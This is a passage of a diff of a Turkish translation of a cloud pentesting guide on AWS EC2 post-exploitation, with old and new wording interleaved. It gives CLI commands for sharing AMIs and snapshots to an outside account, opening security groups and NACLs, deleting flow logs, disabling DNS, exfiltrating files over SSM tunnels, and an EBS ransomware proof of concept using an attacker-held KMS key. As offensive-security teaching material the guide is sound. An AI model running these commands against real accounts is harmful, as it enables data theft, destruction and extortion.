Instances genellikle bazı hassas bilgiler içerir. İçeri girmek için çeşitli yollar vardır (bakınız [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ancak içeriğin ne olduğunu kontrol etmenin bir diğer yolu **bir AMI oluşturup bundan yeni bir instance (hatta kendi hesabınızda bile) çalıştırmaktır**:
```shell
# List instances
aws ec2 describe-images
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Snapshots are backups of volumes**, bunlar genellikle **hassas bilgiler** içerir; bu yüzden onları kontrol etmek bu bilgileri ortaya çıkaracaktır.
Eğer bir **volume without a snapshot** bulursanız şunları yapabilirsiniz: **Create a snapshot** oluşturup aşağıdaki işlemleri gerçekleştirmek veya sadece hesabın içindeki bir **instance**'a **mount it in an instance**:
**Snapshots are backups of volumes**, genellikle **hassas bilgiler** içerir, bu nedenle bunları kontrol etmek bu bilgileri ortaya çıkarmalıdır.\
Eğer bir **volume without a snapshot** bulursanız: **Create a snapshot** oluşturabilir ve aşağıdaki işlemleri gerçekleştirebilir veya hesabın içinde bir instance'a sadece **mount it in an instance** edebilirsiniz:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak export ederek snapshot sharing olmadan ham bir disk görüntüsü elde edin. Bu, instance networking'i etkilemeden tam offline forensics veya data theft yapılmasına olanak verir.
EC2 AMI'yi doğrudan S3'e `CreateStoreImageTask` kullanarak dışa aktarın ve snapshot paylaşımı olmadan ham disk imajı elde edin. Bu, instance ağını etkilemeden tam çevrimdışı adli inceleme veya veri hırsızlığı yapılmasını sağlar.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
io1/io2 Multi-Attach volume'u ikinci bir instance'a attach edin ve snapshots olmadan canlı veriyi çekmek için read-only mount edin. Hedef volume zaten aynı AZ içinde Multi-Attach etkinse kullanışlıdır.
Bir io1/io2 Multi-Attach volume'u ikinci bir instance'a bağlayın ve snapshot olmadan canlı veriyi çekmek için salt okunur (read-only) olarak mount edin. Kurban volume zaten aynı AZ içinde Multi-Attach etkinse faydalıdır.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
EC2 Instance Connect Endpoint oluşturun, ingress yetkilendirin ve managed tunnel üzerinden private instance'lara erişmek için ephemeral SSH key'ler enjekte edin. Public port açmadan hızlı lateral movement yolları sağlar.
Bir EC2 Instance Connect Endpoint oluşturun, ingress'i yetkilendirin ve yönetilen bir tünel üzerinden private instance'lara erişmek için geçici SSH anahtarları enjekte edin. Bu, public port açmadan hızlı lateral hareket yolları sağlar.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
Kurban ENI'nin secondary private IP'sini saldırgan kontrolündeki bir ENI'ye taşıyarak IP ile allowlisted olan güvenilir host'ları taklit edin. Bu, belirli adreslere bağlı internal ACL'leri veya SG kurallarını bypass etmeyi sağlar.
Kurban ENI'nin ikincil private IP'sini saldırganın kontrolündeki bir ENI'ye taşıyarak IP ile allowlistelenmiş güvenilir host'ları taklit edin. Belirli adreslere bağlı internal ACL'leri veya SG kurallarını atlamayı sağlar.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
Kurban instance'tan bir Elastic IP'yi saldırgana reassociate ederek gelen trafiği intercept edin veya trusted public IP'lerden geliyormuş gibi görünen outbound bağlantılar başlatın.
Bir Elastic IP'yi kurban instance'dan saldırgana yeniden ilişkilendirerek gelen trafiği yakalayın veya güvenilir public IP'lerden geliyormuş gibi görünen giden bağlantılar başlatın.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
Eğer bir security group kuralı customer-managed prefix list'e referans veriyorsa, listeye saldırgan CIDR'leri eklemek SG'yi değiştirmeden bağlı her SG kuralı için erişimi sessizce genişletir.
Eğer bir security group kuralı müşteri tarafından yönetilen bir prefix list'e referans veriyorsa, listeye saldırgan CIDR'leri eklemek SG'nin kendisini değiştirmeden bağlı tüm SG kurallarına erişimi sessizce genişletir.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
İzol edilmiş subnet'lerden outbound erişimi geri kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private links'i kullanmak, data exfiltration için eksik IGW/NAT kontrollerini bypass eder.
İzolasyona alınmış subnet'lerden çıkış erişimini geri kazanmak için gateway veya interface VPC endpoint'leri oluşturun. AWS-managed private links, data exfiltration için eksik IGW/NAT kontrollerini atlatır.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
ec2:AuthorizeSecurityGroupIngress yetkisine sahip bir saldırgan security group'lara inbound kuralları ekleyebilir (ör. 0.0.0.0/0'dan tcp:80'e izin vermek), böylece internal servisleri public Internet'e veya aksi halde yetkisiz ağlara açar.
ec2:AuthorizeSecurityGroupIngress iznine sahip bir saldırgan security group'lara inbound kurallar ekleyebilir (örneğin, 0.0.0.0/0'dan tcp:80'e izin vermek), böylece internal servisleri halka açık İnternet'e veya yetkisiz diğer ağlara açar.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
ec2:ReplaceNetworkAclEntry (veya benzeri) izinlere sahip bir saldırgan, bir subnetin Network ACLs (NACLs) yapılandırmasını çok izin verici olacak şekilde değiştirebilir — örneğin kritik portlarda 0.0.0.0/0 izni vererek — bu da tüm subnet aralığını İnternet'e veya yetkisiz ağ segmentlerine açar. Per-instance olarak uygulanan Security Groups'un aksine, NACLs subnet seviyesinde uygulanır; bu nedenle kısıtlayıcı bir NACL'i değiştirmek, çok daha fazla hosta erişime izin vererek çok daha geniş bir etki alanı oluşturabilir.
ec2:ReplaceNetworkAclEntry (veya benzeri) izinlere sahip bir saldırgan, bir subnetin Network ACLs (NACLs) öğelerini çok izin verici hale getirmek için değiştirebilir — örneğin kritik portlarda 0.0.0.0/0'e izin vererek — tüm subnet aralığını İnternet'e veya yetkisiz ağ segmentlerine açar. Security Groups, instance başına uygulanırken, NACLs subnet düzeyinde uygulanır; bu yüzden kısıtlayıcı bir NACL'ı değiştirmek, çok daha fazla sunucuya erişimi mümkün kılarak çok daha büyük bir blast radius'a sahip olabilir.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
@@ -131,118 +131,118 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
ec2:Delete* ve iam:Remove* izinlerine sahip bir saldırgan, key pairs, launch templates/versions, AMIs/snapshots, volumes veya attachments, security groups veya rules, ENIs/network endpoints, route tables, gateways veya managed endpoints gibi kritik altyapı kaynaklarını ve yapılandırmalarını silebilir. Bu, anında hizmet kesintisine, veri kaybına ve adli delillerin kaybına yol açabilir.
ec2:Delete* ve iam:Remove* izinlerine sahip bir saldırgan kritik altyapı kaynaklarını ve yapılandırmaları silebilir — örneğin key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Bu, anında hizmet kesintisine, veri kaybına ve adli kanıt kaybına yol açabilir.
Bir örnek bir security group silmektir:
Bir örnek: bir güvenlik grubunun silinmesi:
aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>
### VPC Flow Logs Hesaplar Arası Exfiltration
### VPC Flow Logs Cross-Account Exfiltration
VPC Flow Logs'u saldırganın kontrolündeki bir S3 bucket'a yönlendirerek mağdur hesabın dışında ağ meta verilerini (kaynak/hedef, portlar) uzun vadeli keşif için sürekli toplayabilirsiniz.
VPC Flow Logs'u saldırgan kontrolündeki bir S3 bucket'a yönlendirerek, uzun vadeli reconnaissance için hedef hesabın dışında ağ meta verilerini (source/destination, ports) sürekli olarak toplayın.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
{{#endref}}
### Veri Exfiltration
### Data Exfiltration
#### DNS Exfiltration
EC2'yi hiç trafik çıkamayacak şekilde kısıtlarsanız bile, yine de **exfil via DNS** yapabilir.
Bir EC2'yi dışarıya hiçbir trafik çıkmayacak şekilde kilitleseniz bile, hâlâ **exfil via DNS** yapabilir.
- **VPC Flow Logs bunu kaydetmez**.
- AWS DNS logs'a erişiminiz yok.
- Bunu şu komutla devre dışı bırakın: "enableDnsSupport"u false yaparak:
- AWS DNS loglarına erişiminiz yok.
- Bunu devre dışı bırakmak için "enableDnsSupport" parametresini false olarak ayarlayın:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
Bir saldırgan, kendisinin kontrolündeki bir hesabın API endpoints'lerine çağrı yapabilir. Cloudtrail bu çağrıları kaydedecek ve saldırgan Cloudtrail loglarında exfiltrate edilen veriyi görebilecektir.
Bir saldırgan, kendi kontrolündeki bir hesabın API uç noktalarına çağrı yapabilir. Cloudtrail bu çağrıları kaydeder ve saldırgan Cloudtrail loglarında exfiltrate data'yı görebilir.
### Security Group'u Açma
### Güvenlik Grubunu Açma
Bu şekilde portları açarak ağ servislerine daha fazla erişim elde edebilirsiniz:
Aşağıdaki gibi portları açarak ağ servislerine daha fazla erişim elde edebilirsiniz:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
Bir EC2 instance'ı çalıştırıp onu ECS instance'larını çalıştırmak için kayıt ettirerek, ECS instance'larının verilerini çalmak mümkündür.
Bir EC2 instance'ı çalıştırıp, ECS instance'larını çalıştırmak için kullanılacak şekilde kaydederek, ardından ECS instance'larının verilerini çalmak mümkündür.
Daha fazla bilgi için [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
Daha fazla bilgi için [**buraya bakın**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### Remove VPC flow logs
### VPC flow logs'ı Kaldır
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
Gerekli izinler:
Required permissions:
- `ssm:StartSession`
Komut çalıştırmanın ötesinde, SSM trafik tünellemeye izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivoting yapmak için kötüye kullanılabilir.
Bunun kullanışlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS cluster'a pivoting yapmaktır.
Komut yürütmenin yanı sıra, SSM traffic tunneling'e izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivot yapmak için kötüye kullanılabilir.
Bunun yararlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS cluster'a pivoting yapmaktır.
> Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. Makinenize SessionManagerPlugin'i yükleyin
1. SessionManagerPlugin'i makinenize yükleyin
2. Aşağıdaki komutla Bastion EC2'ye giriş yapın:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Bastion EC2 AWS geçici kimlik bilgilerini [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) scripti ile alın
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın
3. Bastion EC2 AWS geçici kimlik bilgilerini [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script ile alın
4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasında `[bastion-ec2]` profili olarak aktarın
5. Bastion EC2 olarak EKS'e giriş yapın:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost` olacak şekilde güncelleyin
7. Aşağıdaki gibi bir SSM tüneli oluşturun:
6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost`'a işaret edecek şekilde güncelleyin
7. Aşağıdaki şekilde bir SSM tüneli oluşturun:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. `kubectl` aracından gelen trafik artık SSM tüneli üzerinden Bastion EC2 aracılığıyla yönlendirilir ve kendi makinenizden aşağıdakini çalıştırarak özel EKS kümesine erişebilirsiniz:
8. `kubectl` aracının trafiği artık Bastion EC2 üzerinden SSM tüneli aracılığıyla iletiliyor ve kendi makinenizden aşağıdaki komutu çalıştırarak özel EKS kümesine erişebilirsiniz:
```shell
kubectl get pods --insecure-skip-tls-verify
```
SSL bağlantılarının başarısız olacağını unutmayın; `--insecure-skip-tls-verify` bayrağını (veya K8s audit araçlarındaki eşdeğerini) ayarlamazsanız. Trafiğin güvenli AWS SSM tüneli üzerinden yönlendirildiğini gördüğünüz için herhangi bir MitM saldırısından korunursunuz.
SSL bağlantıları, `--insecure-skip-tls-verify ` bayrağı (veya K8s audit araçlarındaki eşdeğeri) ayarlanmadıkça başarısız olur. Trafik güvenli AWS SSM tunnel üzerinden tünellendiği için herhangi bir MitM saldırısından korunursunuz.
Son olarak, bu teknik private EKS cluster'larına saldırmaya özgü değildir. Rastgele domainler ve portlar ayarlayarak herhangi bir diğer AWS servisine veya özel bir uygulamaya pivot yapabilirsiniz.
Son olarak, bu teknik özel EKS kümelerine saldırmakla sınırlı değildir. Başka herhangi bir AWS servisine veya özel bir uygulamaya pivot yapmak için rastgele domainler ve portlar belirleyebilirsiniz.
---
#### Hızlı Yerel ↔️ Uzak Port Yönlendirme (AWS-StartPortForwardingSession)
#### Hızlı Yerel ↔️ Uzak Port Forward (AWS-StartPortForwardingSession)
Eğer yalnızca **EC2 instance'ından yerel hostunuza tek bir TCP portunu yönlendirmeniz** gerekiyorsa `AWS-StartPortForwardingSession` SSM dokümanını kullanabilirsiniz (uzak host parametresi gerekmez):
Eğer sadece **EC2 instance'ından yerel host'unuza tek bir TCP portunu** yönlendirmeniz gerekiyorsa `AWS-StartPortForwardingSession` SSM dokümanını kullanabilirsiniz (uzak host parametresi gerekmez):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
Komut, workstation'ınız (`localPortNumber`) ile instance üzerindeki seçili port (`portNumber`) arasında çift yönlü bir tünel oluşturur **without opening any inbound Security-Group rules**.
Yaygın kullanım örnekleri:
Yaygın kullanım durumları:
* **File exfiltration**
1. Instance üzerinde, exfiltrate etmek istediğiniz dizini işaret eden hızlı bir HTTP server başlatın:
1. Instance üzerinde, exfiltrate etmek istediğiniz dizine işaret eden hızlı bir HTTP sunucusu başlatın:
```bash
python3 -m http.server 8000
```
2. Workstation'ınızdan dosyaları SSM tunnel üzerinden çekin:
2. Workstation'ınızdan SSM tüneli üzerinden dosyaları çekin:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Accessing internal web applications (e.g. Nessus)**
* **İç ağ web uygulamalarına erişim (e.g. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -250,28 +250,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
İpucu: Kanıtları exfiltrating etmeden önce sıkıştırın ve şifreleyin, böylece CloudTrail açık metin içeriğini kaydetmez:
İpucu: Exfiltrating işleminden önce kanıtları sıkıştırıp şifreleyin, böylece CloudTrail açık metin içeriğini kaydetmez:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
```
### AMI Paylaş
### AMI Paylaşımı
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Genel veya özel AMIs içinde hassas bilgi arama
### Genel ve özel AMIs'lerde hassas bilgileri ara
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **genel veya özel Amazon Machine Images (AMIs) içindeki hassas bilgileri aramak** için tasarlanmış bir araçtır. Hedef AMIs'den instance başlatma, volume'larını mount etme ve potansiyel secrets veya hassas verileri tarama sürecini otomatikleştirir.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, genel veya özel Amazon Machine Images (AMIs) içinde **hassas bilgileri aramak** için tasarlanmış bir araçtır. Hedef AMIs'den instance'ları başlatma, bunların volume'larını bağlama ve olası secret'lar veya hassas veriler için tarama süreçlerini otomatikleştirir.
### EBS Snapshot Paylaş
### EBS Snapshot Paylaşımı
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC
S3 post-exploitation notlarında gösterilen Ransomware gösterimine benzer bir kavram kanıtı (PoC). KMS, çeşitli AWS hizmetlerini şifrelemek için kullanmanın ne kadar kolay olduğuna bağlı olarak Ransomware Management Service (RMS) olarak yeniden adlandırılmalıdır.
S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir PoC. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanmasının ne kadar kolay olduğuna bağlı olarak Ransomware Management Service (RMS) olarak yeniden adlandırılmalıdır.
Önce 'attacker' AWS hesabından KMS içinde bir customer managed key oluşturun. Bu örnekte anahtar verisini AWS'in bizim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda kötü niyetli bir aktör anahtar verisini AWS kontrolünün dışında tutacaktır. Anahtar politikasını, herhangi bir AWS account Principal'in anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırıldı.
Önce 'attacker' AWS hesabından KMS içinde bir müşteri yönetimli anahtar oluşturun. Bu örnek için anahtar verilerini AWS'in benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS kontrolü dışında tutardı. Anahtar politikasını, herhangi bir AWS hesap Principal'inin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için hesabın adı 'AttackSim' idi ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırıldı.
```
{
"Version": "2012-10-17",
@@ -363,7 +363,7 @@ S3 post-exploitation notlarında gösterilen Ransomware gösterimine benzer bir
]
}
```
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
Anahtar politika kuralının bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekiyor:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -371,21 +371,21 @@ The key policy rule needs the following enabled to allow for the ability to use
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Şimdi kullanmak için herkese açık erişilebilir bir anahtarımız olduğuna göre. Bu amaçla, şifrelenmemiş EBS hacimleri bağlı bazı EC2 instance'ları bulunan bir 'victim' hesabı kullanabiliriz. Bu 'victim' hesabının EBS hacimleri şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklara sahip bir AWS hesabının ihlali varsayımı altında gerçekleştirilmektedir.
Şimdi kullanılacak halka açık erişilebilir anahtar ile. Şifrelenmemiş EBS hacimleri bağlı bazı EC2 instances olan bir 'victim' hesabını kullanabiliriz. Bu 'victim' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ele geçirildiği varsayımıyla gerçekleştiriliyor.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
S3 ransomware örneğine benzer. Bu saldırı, bağlı EBS hacimlerinin kopyalarını snapshots kullanarak oluşturacak, 'attacker' hesabındaki herkese açık anahtarı yeni EBS hacimlerini şifrelemek için kullanacak, ardından orijinal EBS hacimlerini EC2 instance'larından ayırıp silecek ve son olarak yeni şifreli EBS hacimlerini oluşturmak için kullanılan snapshots'ları silecek. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
S3 ransomware örneğine benzer şekilde. Bu saldırı, bağlı EBS hacimlerinin snapshot'larını alarak kopyalarını oluşturacak, yeni EBS hacimlerini şifrelemek için 'attacker' hesabından halka açık anahtarı kullanacak; ardından orijinal EBS hacimlerini EC2 instances'dan ayırıp silecek ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan snapshot'ları silecek. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Bunun sonucu olarak hesapta yalnızca şifrelenmiş EBS hacimleri kalır.
Bunun sonucunda hesapta yalnızca şifrelenmiş EBS hacimleri kalır.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Ayrıca dikkat edilmesi gereken, scriptin orijinal EBS hacimlerini ayırıp silmek için EC2 instance'larını durdurmuş olmasıdır. Orijinal şifrelenmemiş hacimler artık yok.
Ayrıca belirtmeye değer, script orijinal EBS hacimlerini ayırmak ve silmek için EC2 instances'ı durdurdu. Orijinal şifrelenmemiş hacimler artık yok.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Son olarak, 'attacker' hesabındaki key policy'ye geri dönün ve key policy'den 'Outside Encryption' politika kuralını kaldırın.
Son olarak, 'attacker' hesabındaki key policy'ye geri dönün ve key policy'den 'Outside Encryption' policy kuralını kaldırın.
```json
{
"Version": "2012-10-17",
@@ -456,15 +456,15 @@ Son olarak, 'attacker' hesabındaki key policy'ye geri dönün ve key policy'den
]
}
```
Yeni ayarlanan key policy'nin yayılması için biraz bekleyin. Ardından 'victim' hesabına dönün ve yeni şifrelenmiş EBS hacimlerinden birini attach etmeyi deneyin. Hacmi attach edebildiğinizi göreceksiniz.
Yeni ayarlanmış anahtar politikasının yayılması için bir süre bekleyin. Ardından 'victim' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini bağlamayı deneyin. Hacmi bağlayabildiğinizi göreceksiniz.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
Ama şifrelenmiş EBS hacmiyle EC2 instance'ını gerçekten başlatmaya çalıştığınızda işlem başarısız olur ve bağlı EBS hacmi anahtar tarafından deşifre edilemediği için instance 'pending' durumundan tekrar sürekli olarak 'stopped' durumuna döner; çünkü key policy artık buna izin vermez.
Ancak şifrelenmiş EBS hacmiyle EC2 instance'ını gerçekten başlatmayı denediğinizde işlem başarısız olur ve bağlı EBS hacmi artık anahtarla deşifre edilemediği için instance 'pending' durumundan 'stopped' durumuna geri döner ve orada kalır.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Bu kullanılan python script'idir. Şifreleme için kullanılacak anahtarın genel olarak erişilebilir bir AWS ARN değeri ve 'victim' hesabına ait AWS creds alır. Script, hedef AWS hesabındaki tüm EC2 instance'lara bağlı ALL kullanılabilir EBS hacimlerinin şifrelenmiş kopyalarını oluşturur, sonra her EC2 instance'ını durdurur, orijinal EBS hacimlerini detach eder, bunları siler ve süreçte kullanılan tüm snapshots'ları son olarak siler. Bu, hedeflenen 'victim' hesabında yalnızca şifrelenmiş EBS hacimlerinin kalmasına neden olur. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. KMS key'i kullanarak bunları geri kurtarabilir ve snapshots üzerinden orijinal hallerine geri yükleyebilirsiniz, ancak günün sonunda bunun bir ransomware PoC olduğunu bilmenizi istedim.
Bu kullanılan python scripti. Şifreleme için kullanılacak anahtarın genel olarak erişilebilir bir AWS ARN değeri ile birlikte 'victim' hesabının AWS kimlik bilgilerini (creds) alır. Script, hedef AWS hesabındaki TÜM EC2 instance'lara bağlı tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından tüm EC2 instance'ları durduracak, orijinal EBS hacimlerini ayıracak, bunları silecek ve süreç boyunca kullanılan tüm snapshots'ları son olarak silecektir. Bu, hedef 'victim' hesabında yalnızca şifrelenmiş EBS hacimlerinin kalmasına neden olur. SADECE BUNU BİR TEST ORTAMINDA KULLANIN, BU YIKICI BİR İŞLEMDİR VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarıyla bunları kurtarabilir ve snapshots'lar aracılığıyla orijinal hallerine geri yükleyebilirsiniz, ancak günün sonunda bunun bir ransomware PoC olduğunu bilmenizi istedim.
```
import boto3
import argparse
@@ -583,6 +583,6 @@ main()
```
## Referanslar
- [Pentest Partners SSM kullanarak AWS'de dosya transferi](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
- [Pentest Partners AWS'de SSM kullanarak dosyalar nasıl transfer edilir](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,17 +10,17 @@ IAM erişimi hakkında daha fazla bilgi için:
../../aws-services/aws-iam-enum.md
{{#endref}}
## Confused Deputy Problemi
## Confused Deputy Problem
Eğer hesabınızda bir **harici hesap (A)**'nın bir **rol**e erişmesine izin verirseniz, muhtemelen **o harici hesaba tam olarak kimlerin erişebileceği** konusunda **0 görünürlüğe** sahip olursunuz. Bu bir sorundur, çünkü başka bir harici hesap (B), harici hesap (A)'ya erişebiliyorsa **B'nin de hesabınıza erişebilmesi** mümkündür.
Eğer hesabınızda bir **external account (A)**'nın bir **role**'e erişmesine izin verirseniz, muhtemelen bu external account'a **tam olarak kimin erişebildiği** konusunda **0 visibility**'e sahip olursunuz. Bu bir problemdir; çünkü başka bir external account (B), external account (A)'ya erişebiliyorsa, **B de hesabınıza erişebilir**.
Bu nedenle, bir harici hesabın hesabınızdaki bir role erişmesine izin verirken bir `ExternalId` belirtmek mümkündür. Bu, harici hesabın (A)'nın organizasyonunuzdaki rolu **üstlenebilmek için belirtmesi gereken** bir "gizli" string'tir. Çünkü **harici hesap B bu string'i bilmiyorsa**, A'ya erişimi olsa bile **rolünüze erişemeyecektir**.
Bu nedenle, hesabınızda bir external account'ın bir role'e erişmesine izin verirken bir `ExternalId` belirtmek mümkündür. Bu, external account (A)'nın organizasyonunuzdaki role'u üstlenebilmek için belirtmesi gereken bir "secret" string'tir. external account B bu string'i bilmediği sürece, A'ya erişimi olsa bile B **sizin role'unuza erişemeyecektir**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
Ancak, bu `ExternalId` "gizli" değerinin **gerçekte bir sır olmadığını** unutmayın; IAM assume role policy'yi **okuyabilen herkes bunu görebilir**. Fakat harici hesap A bunu biliyorsa ve harici hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**.
Ancak, `ExternalId` "secret"i **gerçekten bir secret değildir**; IAM assume role policy'yi **okuyabilen herhangi bir kişi** bunu görebilir. Fakat external account A bunu bildiği sürece ve external account **B bunu bilmediği sürece**, bu **B'nin A'yı suistimal ederek sizin role'unuza erişmesini engeller**.
Örnek:
Example:
```json
{
"Version": "2012-10-17",
@@ -39,11 +39,11 @@ Ancak, bu `ExternalId` "gizli" değerinin **gerçekte bir sır olmadığını**
}
```
> [!WARNING]
